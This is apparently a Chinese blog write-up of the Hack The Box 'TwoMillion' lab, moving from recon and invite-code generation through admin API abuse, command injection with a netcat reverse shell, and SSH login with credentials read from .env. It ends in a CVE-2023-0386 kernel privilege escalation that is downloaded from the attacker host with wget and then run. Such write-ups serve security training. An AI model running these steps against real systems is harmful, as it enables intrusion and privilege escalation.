【HTB】 TwoMillion 红队 easy

1、信息收集

1)端口及服务

nmap 10.10.11.221 -sCV --min-rate 5000 -p- -Pn

访问 10.10.11.221 被重定向到 http://2million.htb/

sudo echo '10.10.11.221 2million.htb' >> /etc/hosts

2)目录扫描

dirsearch -u http://2million.htb/

3)网站信息

2、检测网页

经过检测后发现有登录页面和邀请页面

首页邀请页面

仔细检测网页后,加上前面信息收集,可以得到 4 个有用的网页:接口页面 、登录页面、注册页面、邀请码页面

1)api

api 和 api/v1 都无法访问,也可能是没有登录的问题

2)login

3)register

邀请码不能输入,但又不得不要,bp 抓包可以修改邀请码,但邀请码格式不对

4)join

可以发现 eval 函数,register 页面也可以看见

这样不便于观察,复制到 https://beautifier.io/

可以得到两个函数,两个连接,第一个函数是关于验证邀请码的,第二个函数是关于生成邀请码的

前面登录、注册、邀请码页面,随便抓个包,修改为关于生成邀请码的地址

响应体说明数据是用 rot13 加密后的,解密内容如下

In order to generate the invite code, make a POST request to \/api\/v1\/invite\/generate

解密内容让我们以POST方式访问/api/v1/invite/generate

base64 编码后,得到邀请码

NB3B0-41LDE-QMO75-A5B0L

5)输入邀请码,自动跳转到注册页面,注册完会跳到登录页面,登录后如下所示(我注册的用户名为 user1)

6)再次访问 api

访问 api 会让你访问 api/v1

3、api 枚举

1)访问 api/v1

主要分为 user、admin 两部分,我们比较关注POSTPUT

user 的 POST 一个是注册、一个是登录,在前面我们用过。因此,我们关注 admin 的 POST、PUT

2)auth

首先查看 user 是不是 admin(user、admin 都可以检查)

user 的检查页面

admin 的检查页面

两个页面都说明 user1 不是 admin

3)update

修改为 PUT 方式、目的地址

根据响应包修改类型,影响包是 json 类型,那请求包也修改成 json 类型

响应包提示缺少email参数,添加参数user1@htb.com是我注册时的邮箱

响应包再次提示缺少is_admin,由前面步骤可知,这个参数是确定 user 是否为 admin 的关键

/api/v1/admin/settings/update应该是修改数据库,不知道是否可以利用,先看/api/v1/admin/vpn/generate

4)generate

修改为 POST 方式、目的地址

影响包提示缺少参数,随便添加个username,有返回结果,可能没有通过数据库确认 username是否存在,也许有 RCE

RCE 验证

kali 监听,发送 shell

nc -lvnp 1234

4、获取 user.txt

1)枚举

id
pwd
ls /home
ls -la

2)查看特殊文件

cat .env

3)ssh 连接

ssh admin@10.10.11.221
cat user.txt

5、获取 root.txt

1)查看 linux 内核

uname -a

搜索内核是否存在 CVE

在 kali 下载 CVE-2023-0386

git clone https://github.com/Fanxiaoyao66/CVE-2023-0386.git
cd CVE-2023-0386
python3 -m http.server 80

在靶机中进入 /tmp 目录

cd /tmp
mkdir .exp	# 为了不影响其他人,在 /tmp 目录下创建隐藏文件
wget http://10.10.10.10/exp.sh
wget http://10.10.10.10/fuse.c
/bin/bash exp.sh
cat /root/root.txt
posted @ 2023-12-27 20:52  kazie  阅读(103)  评论(0编辑  收藏  举报